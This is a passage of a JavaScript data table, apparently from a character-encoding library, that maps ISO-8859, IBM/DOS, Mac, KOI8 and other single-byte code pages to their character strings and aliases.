            iso88591: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"},
            cp28591: "iso88591",
            iso88592: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ Ą˘Ł¤ĽŚ§¨ŠŞŤŹ­ŽŻ°ą˛ł´ľśˇ¸šşťź˝žżŔÁÂĂÄĹĆÇČÉĘËĚÍÎĎĐŃŇÓÔŐÖ×ŘŮÚŰÜÝŢßŕáâăäĺćçčéęëěíîďđńňóôőö÷řůúűüýţ˙"},
            cp28592: "iso88592",
            iso88593: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ Ħ˘£¤�Ĥ§¨İŞĞĴ­�ݰħ²³´µĥ·¸ışğĵ½�żÀÁÂ�ÄĊĈÇÈÉÊËÌÍÎÏ�ÑÒÓÔĠÖ×ĜÙÚÛÜŬŜßàáâ�äċĉçèéêëìíîï�ñòóôġö÷ĝùúûüŭŝ˙"},
            cp28593: "iso88593",
            iso88594: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ĄĸŖ¤Ĩϧ¨ŠĒĢŦ­Ž¯°ą˛ŗ´ĩšēģŧŊžŋĀÁÂÃÄÅÆĮČÉĘËĖÍÎĪĐŅŌĶÔÕÖרŲÚÛÜŨŪßāáâãäåæįčéęëėíîīđņōķôõö÷øųúûüũū˙"},
            cp28594: "iso88594",
            iso88595: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ЁЂЃЄЅІЇЈЉЊЋЌ­ЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ёђѓєѕіїјљњћќ§ўџ"},
            cp28595: "iso88595",
            iso88596: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ���¤�������،­�������������؛���؟�ءآأؤإئابةتثجحخدذرزسشصضطظعغ�����ـفقكلمنهوىيًٌٍَُِّْ�������������"},
            cp28596: "iso88596",
            iso88597: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ‘’£€₯¦§¨©ͺ«¬­�―°±²³΄΅Ά·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�"},
            cp28597: "iso88597",
            iso88598: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ �¢£¤¥¦§¨©×«¬­®¯°±²³´µ¶·¸¹÷»¼½¾��������������������������������‗אבגדהוזחטיךכלםמןנסעףפץצקרשת��‎‏�"},
            cp28598: "iso88598",
            iso88599: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏĞÑÒÓÔÕÖרÙÚÛÜİŞßàáâãäåæçèéêëìíîïğñòóôõö÷øùúûüışÿ"},
            cp28599: "iso88599",
            iso885910: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ĄĒĢĪĨͧĻĐŠŦŽ­ŪŊ°ąēģīĩķ·ļđšŧž―ūŋĀÁÂÃÄÅÆĮČÉĘËĖÍÎÏÐŅŌÓÔÕÖŨØŲÚÛÜÝÞßāáâãäåæįčéęëėíîïðņōóôõöũøųúûüýþĸ"},
            cp28600: "iso885910",
            iso885911: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����"},
            cp28601: "iso885911",
            iso885913: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ”¢£¤„¦§Ø©Ŗ«¬­®Æ°±²³“µ¶·ø¹ŗ»¼½¾æĄĮĀĆÄÅĘĒČÉŹĖĢĶĪĻŠŃŅÓŌÕÖ×ŲŁŚŪÜŻŽßąįāćäåęēčéźėģķīļšńņóōõö÷ųłśūüżž’"},
            cp28603: "iso885913",
            iso885914: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ Ḃḃ£ĊċḊ§Ẁ©ẂḋỲ­®ŸḞḟĠġṀṁ¶ṖẁṗẃṠỳẄẅṡÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏŴÑÒÓÔÕÖṪØÙÚÛÜÝŶßàáâãäåæçèéêëìíîïŵñòóôõöṫøùúûüýŷÿ"},
            cp28604: "iso885914",
            iso885915: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£€¥Š§š©ª«¬­®¯°±²³Žµ¶·ž¹º»ŒœŸ¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"},
            cp28605: "iso885915",
            iso885916: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ĄąŁ€„Чš©Ș«Ź­źŻ°±ČłŽ”¶·žčș»ŒœŸżÀÁÂĂÄĆÆÇÈÉÊËÌÍÎÏĐŃÒÓÔŐÖŚŰÙÚÛÜĘȚßàáâăäćæçèéêëìíîïđńòóôőöśűùúûüęțÿ"},
            cp28606: "iso885916",
            cp437: {type: "_sbcs", chars: "ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜ¢£¥₧ƒáíóúñѪº¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ "},
            ibm437: "cp437",
            csibm437: "cp437",
            cp737: {type: "_sbcs", chars: "ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρσςτυφχψ░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀ωάέήϊίόύϋώΆΈΉΊΌΎΏ±≥≤ΪΫ÷≈°∙·√ⁿ²■ "},
            ibm737: "cp737",
            csibm737: "cp737",
            cp775: {type: "_sbcs", chars: "ĆüéāäģåćłēŖŗīŹÄÅÉæÆōöĢ¢ŚśÖÜø£Ø×¤ĀĪóŻżź”¦©®¬½¼Ł«»░▒▓│┤ĄČĘĖ╣║╗╝ĮŠ┐└┴┬├─┼ŲŪ╚╔╩╦╠═╬Žąčęėįšųūž┘┌█▄▌▐▀ÓßŌŃõÕµńĶķĻļņĒŅ’­±“¾¶§÷„°∙·¹³²■ "},
            ibm775: "cp775",
            csibm775: "cp775",
            cp850: {type: "_sbcs", chars: "ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈıÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ "},
            ibm850: "cp850",
            csibm850: "cp850",
            cp852: {type: "_sbcs", chars: "ÇüéâäůćçłëŐőîŹÄĆÉĹĺôöĽľŚśÖÜŤťŁ×čáíóúĄąŽžĘ꬟Ⱥ«»░▒▓│┤ÁÂĚŞ╣║╗╝Żż┐└┴┬├─┼Ăă╚╔╩╦╠═╬¤đĐĎËďŇÍÎě┘┌█▄ŢŮ▀ÓßÔŃńňŠšŔÚŕŰýÝţ´­˝˛ˇ˘§÷¸°¨˙űŘř■ "},
            ibm852: "cp852",
            csibm852: "cp852",
            cp855: {type: "_sbcs", chars: "ђЂѓЃёЁєЄѕЅіІїЇјЈљЉњЊћЋќЌўЎџЏюЮъЪаАбБцЦдДеЕфФгГ«»░▒▓│┤хХиИ╣║╗╝йЙ┐└┴┬├─┼кК╚╔╩╦╠═╬¤лЛмМнНоОп┘┌█▄Пя▀ЯрРсСтТуУжЖвВьЬ№­ыЫзЗшШэЭщЩчЧ§■ "},
            ibm855: "cp855",
            csibm855: "cp855",
            cp856: {type: "_sbcs", chars: "אבגדהוזחטיךכלםמןנסעףפץצקרשת�£�×����������®¬½¼�«»░▒▓│┤���©╣║╗╝¢¥┐└┴┬├─┼��╚╔╩╦╠═╬¤���������┘┌█▄¦�▀������µ�������¯´­±‗¾¶§÷¸°¨·¹³²■ "},
            ibm856: "cp856",
            csibm856: "cp856",
            cp857: {type: "_sbcs", chars: "ÇüéâäàåçêëèïîıÄÅÉæÆôöòûùİÖÜø£ØŞşáíóúñÑĞ𿮬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ºªÊËÈ�ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµ�×ÚÛÙìÿ¯´­±�¾¶§÷¸°¨·¹³²■ "},
            ibm857: "cp857",
            csibm857: "cp857",
            cp858: {type: "_sbcs", chars: "ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ "},
            ibm858: "cp858",
            csibm858: "cp858",
            cp860: {type: "_sbcs", chars: "ÇüéâãàÁçêÊèÍÔìÃÂÉÀÈôõòÚùÌÕÜ¢£Ù₧ÓáíóúñѪº¿Ò¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ "},
            ibm860: "cp860",
            csibm860: "cp860",
            cp861: {type: "_sbcs", chars: "ÇüéâäàåçêëèÐðÞÄÅÉæÆôöþûÝýÖÜø£Ø₧ƒáíóúÁÍÓÚ¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ "},
            ibm861: "cp861",
            csibm861: "cp861",
            cp862: {type: "_sbcs", chars: "אבגדהוזחטיךכלםמןנסעףפץצקרשת¢£¥₧ƒáíóúñѪº¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ "},
            ibm862: "cp862",
            csibm862: "cp862",
            cp863: {type: "_sbcs", chars: "ÇüéâÂà¶çêëèïî‗À§ÉÈÊôËÏûù¤ÔÜ¢£ÙÛƒ¦´óú¨¸³¯Î⌐¬½¼¾«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ "},
            ibm863: "cp863",
            csibm863: "cp863",
            cp864: {
                type: "_sbcs",
                chars: "\0\b\t\n\v\f\r !\"#$٪&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~°·∙√▒─│┼┤┬├┴┐┌└┘β∞φ±½¼≈«»ﻷﻸ��ﻻﻼ� ­ﺂ£¤ﺄ��ﺎﺏﺕﺙ،ﺝﺡﺥ٠١٢٣٤٥٦٧٨٩ﻑ؛ﺱﺵﺹ؟¢ﺀﺁﺃﺅﻊﺋﺍﺑﺓﺗﺛﺟﺣﺧﺩﺫﺭﺯﺳﺷﺻﺿﻁﻅﻋﻏ¦¬÷×ﻉـﻓﻗﻛﻟﻣﻧﻫﻭﻯﻳﺽﻌﻎﻍﻡﹽّﻥﻩﻬﻰﻲﻐﻕﻵﻶﻝﻙﻱ■�"
            },
            ibm864: "cp864",
            csibm864: "cp864",
            cp865: {type: "_sbcs", chars: "ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø₧ƒáíóúñѪº¿⌐¬½¼¡«¤░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ "},
            ibm865: "cp865",
            csibm865: "cp865",
            cp866: {type: "_sbcs", chars: "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀рстуфхцчшщъыьэюяЁёЄєЇїЎў°∙·√№¤■ "},
            ibm866: "cp866",
            csibm866: "cp866",
            cp869: {
                type: "_sbcs",
                chars: "������Ά�·¬¦‘’Έ―ΉΊΪΌ��ΎΫ©Ώ²³ά£έήίϊΐόύΑΒΓΔΕΖΗ½ΘΙ«»░▒▓│┤ΚΛΜΝ╣║╗╝ΞΟ┐└┴┬├─┼ΠΡ╚╔╩╦╠═╬ΣΤΥΦΧΨΩαβγ┘┌█▄δε▀ζηθικλμνξοπρσςτ΄­±υφχ§ψ΅°¨ωϋΰώ■ "
            },
            ibm869: "cp869",
            csibm869: "cp869",
            cp922: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®‾°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏŠÑÒÓÔÕÖרÙÚÛÜÝŽßàáâãäåæçèéêëìíîïšñòóôõö÷øùúûüýžÿ"},
            ibm922: "cp922",
            csibm922: "cp922",
            cp1046: {type: "_sbcs", chars: "ﺈ×÷ﹱˆ■│─┐┌└┘ﹹﹻﹽﹿﹷﺊﻰﻳﻲﻎﻏﻐﻶﻸﻺﻼ ¤ﺋﺑﺗﺛﺟﺣ،­ﺧﺳ٠١٢٣٤٥٦٧٨٩ﺷ؛ﺻﺿﻊ؟ﻋءآأؤإئابةتثجحخدذرزسشصضطﻇعغﻌﺂﺄﺎﻓـفقكلمنهوىيًٌٍَُِّْﻗﻛﻟﻵﻷﻹﻻﻣﻧﻬﻩ�"},
            ibm1046: "cp1046",
            csibm1046: "cp1046",
            cp1124: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ЁЂҐЄЅІЇЈЉЊЋЌ­ЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ёђґєѕіїјљњћќ§ўџ"},
            ibm1124: "cp1124",
            csibm1124: "cp1124",
            cp1125: {type: "_sbcs", chars: "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀рстуфхцчшщъыьэюяЁёҐґЄєІіЇї·√№¤■ "},
            ibm1125: "cp1125",
            csibm1125: "cp1125",
            cp1129: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§œ©ª«¬­®¯°±²³Ÿµ¶·Œ¹º»¼½¾¿ÀÁÂĂÄÅÆÇÈÉÊË̀ÍÎÏĐÑ̉ÓÔƠÖרÙÚÛÜỮßàáâăäåæçèéêë́íîïđṇ̃óôơö÷øùúûüư₫ÿ"},
            ibm1129: "cp1129",
            csibm1129: "cp1129",
            cp1133: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ກຂຄງຈສຊຍດຕຖທນບປຜຝພຟມຢຣລວຫອຮ���ຯະາຳິີຶືຸູຼັົຽ���ເແໂໃໄ່້໊໋໌ໍໆ�ໜໝ₭����������������໐໑໒໓໔໕໖໗໘໙��¢¬¦�"},
            ibm1133: "cp1133",
            csibm1133: "cp1133",
            cp1161: {type: "_sbcs", chars: "��������������������������������่กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู้๊๋€฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛¢¬¦ "},
            ibm1161: "cp1161",
            csibm1161: "cp1161",
            cp1162: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����"},
            ibm1162: "cp1162",
            csibm1162: "cp1162",
            cp1163: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£€¥¦§œ©ª«¬­®¯°±²³Ÿµ¶·Œ¹º»¼½¾¿ÀÁÂĂÄÅÆÇÈÉÊË̀ÍÎÏĐÑ̉ÓÔƠÖרÙÚÛÜỮßàáâăäåæçèéêë́íîïđṇ̃óôơö÷øùúûüư₫ÿ"},
            ibm1163: "cp1163",
            csibm1163: "cp1163",
            maccroatian: {type: "_sbcs", chars: "ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®Š™´¨≠ŽØ∞±≤≥∆µ∂∑∏š∫ªºΩžø¿¡¬√ƒ≈ƫȅ ÀÃÕŒœĐ—“”‘’÷◊�©⁄¤‹›Æ»–·‚„‰ÂćÁčÈÍÎÏÌÓÔđÒÚÛÙıˆ˜¯πË˚¸Êæˇ"},
            maccyrillic: {type: "_sbcs", chars: "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ†°¢£§•¶І®©™Ђђ≠Ѓѓ∞±≤≥іµ∂ЈЄєЇїЉљЊњјЅ¬√ƒ≈∆«»… ЋћЌќѕ–—“”‘’÷„ЎўЏџ№Ёёяабвгдежзийклмнопрстуфхцчшщъыьэю¤"},
            macgreek: {type: "_sbcs", chars: "Ĺ²É³ÖÜ΅àâä΄¨çéèê룙î‰ôö¦­ùûü†ΓΔΘΛΞΠß®©ΣΪ§≠°·Α±≤≥¥ΒΕΖΗΙΚΜΦΫΨΩάΝ¬ΟΡ≈Τ«»… ΥΧΆΈœ–―“”‘’÷ΉΊΌΎέήίόΏύαβψδεφγηιξκλμνοπώρστθωςχυζϊϋΐΰ�"},
            maciceland: {type: "_sbcs", chars: "ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûüݰ¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤ÐðÞþý·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ"},
            macroman: {type: "_sbcs", chars: "ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤‹›fifl‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ"},
            macromania: {type: "_sbcs", chars: "ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ĂŞ∞±≤≥¥µ∂∑∏π∫ªºΩăş¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄¤‹›Ţţ‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ"},
            macthai: {
                type: "_sbcs",
                chars: "«»…“”�•‘’� กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู\ufeff​–—฿เแโใไๅๆ็่้๊๋์ํ™๏๐๑๒๓๔๕๖๗๘๙®©����"
            },
            macturkish: {type: "_sbcs", chars: "ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸĞğİıŞş‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔ�ÒÚÛÙ�ˆ˜¯˘˙˚¸˝˛ˇ"},
            macukraine: {type: "_sbcs", chars: "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ†°Ґ£§•¶І®©™Ђђ≠Ѓѓ∞±≤≥іµґЈЄєЇїЉљЊњјЅ¬√ƒ≈∆«»… ЋћЌќѕ–—“”‘’÷„ЎўЏџ№Ёёяабвгдежзийклмнопрстуфхцчшщъыьэю¤"},
            koi8r: {type: "_sbcs", chars: "─│┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ё╓╔╕╖╗╘╙╚╛╜╝╞╟╠╡Ё╢╣╤╥╦╧╨╩╪╫╬©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ"},
            koi8u: {type: "_sbcs", chars: "─│┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ёє╔ії╗╘╙╚╛ґ╝╞╟╠╡ЁЄ╣ІЇ╦╧╨╩╪Ґ╬©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ"},
            koi8ru: {type: "_sbcs", chars: "─│┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ёє╔ії╗╘╙╚╛ґў╞╟╠╡ЁЄ╣ІЇ╦╧╨╩╪ҐЎ©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ"},
            koi8t: {type: "_sbcs", chars: "қғ‚Ғ„…†‡�‰ҳ‹ҲҷҶ�Қ‘’“”•–—�™�›�����ӯӮё¤ӣ¦§���«¬­®�°±²Ё�Ӣ¶·�№�»���©юабцдефгхийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ"},
            armscii8: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ �և։)(»«—.՝,-֊…՜՛՞ԱաԲբԳգԴդԵեԶզԷէԸըԹթԺժԻիԼլԽխԾծԿկՀհՁձՂղՃճՄմՅյՆնՇշՈոՉչՊպՋջՌռՍսՎվՏտՐրՑցՒւՓփՔքՕօՖֆ՚�"},
            rk1048: {type: "_sbcs", chars: "ЂЃ‚ѓ„…†‡€‰Љ‹ЊҚҺЏђ‘’“”•–—�™љ›њқһџ ҰұӘ¤Ө¦§Ё©Ғ«¬­®Ү°±Ііөµ¶·ё№ғ»әҢңүАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя"},
            tcvn: {
                type: "_sbcs",
                chars: "\0ÚỤỪỬỮ\b\t\n\v\f\rỨỰỲỶỸÝỴ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ÀẢÃÁẠẶẬÈẺẼÉẸỆÌỈĨÍỊÒỎÕÓỌỘỜỞỠỚỢÙỦŨ ĂÂÊÔƠƯĐăâêôơưđẶ̀̀̉̃́àảãáạẲằẳẵắẴẮẦẨẪẤỀặầẩẫấậèỂẻẽéẹềểễếệìỉỄẾỒĩíịòỔỏõóọồổỗốộờởỡớợùỖủũúụừửữứựỳỷỹýỵỐ"
            },
            georgianacademy: {
                type: "_sbcs",
                chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿აბგდევზთიკლმნოპჟრსტუფქღყშჩცძწჭხჯჰჱჲჳჴჵჶçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
            },
            georgianps: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿აბგდევზჱთიკლმნჲოპჟრსტჳუფქღყშჩცძწჭხჴჯჰჵæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"},
            pt154: {type: "_sbcs", chars: "ҖҒӮғ„…ҶҮҲүҠӢҢҚҺҸҗ‘’“”•–—ҳҷҡӣңқһҹ ЎўЈӨҘҰ§Ё©Ә«¬ӯ®Ҝ°ұІіҙө¶·ё№ә»јҪҫҝАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя"},
            viscii: {
                type: "_sbcs",
                chars: "\0ẲẴẪ\b\t\n\v\f\rỶỸỴ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ẠẮẰẶẤẦẨẬẼẸẾỀỂỄỆỐỒỔỖỘỢỚỜỞỊỎỌỈỦŨỤỲÕắằặấầẩậẽẹếềểễệốồổỗỠƠộờởịỰỨỪỬơớƯÀÁÂÃẢĂẳẵÈÉÊẺÌÍĨỳĐứÒÓÔạỷừửÙÚỹỵÝỡưàáâãảăữẫèéêẻìíĩỉđựòóôõỏọụùúũủýợỮ"
            },
            iso646cn: {
                type: "_sbcs",
                chars: "\0\b\t\n\v\f\r !\"#¥%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}‾��������������������������������������������������������������������������������������������������������������������������������"
            },
            iso646jp: {
                type: "_sbcs",
                chars: "\0\b\t\n\v\f\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[¥]^_`abcdefghijklmnopqrstuvwxyz{|}‾��������������������������������������������������������������������������������������������������������������������������������"
            },
            hproman8: {type: "_sbcs", chars: "€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ÀÂÈÊËÎÏ´ˋˆ¨˜ÙÛ₤¯Ýý°ÇçÑñ¡¿¤£¥§ƒ¢âêôûáéóúàèòùäëöüÅîØÆåíøæÄìÖÜÉïßÔÁÃãÐðÍÌÓÒÕõŠšÚŸÿÞþ·µ¶¾—¼½ªº«■»±�"},
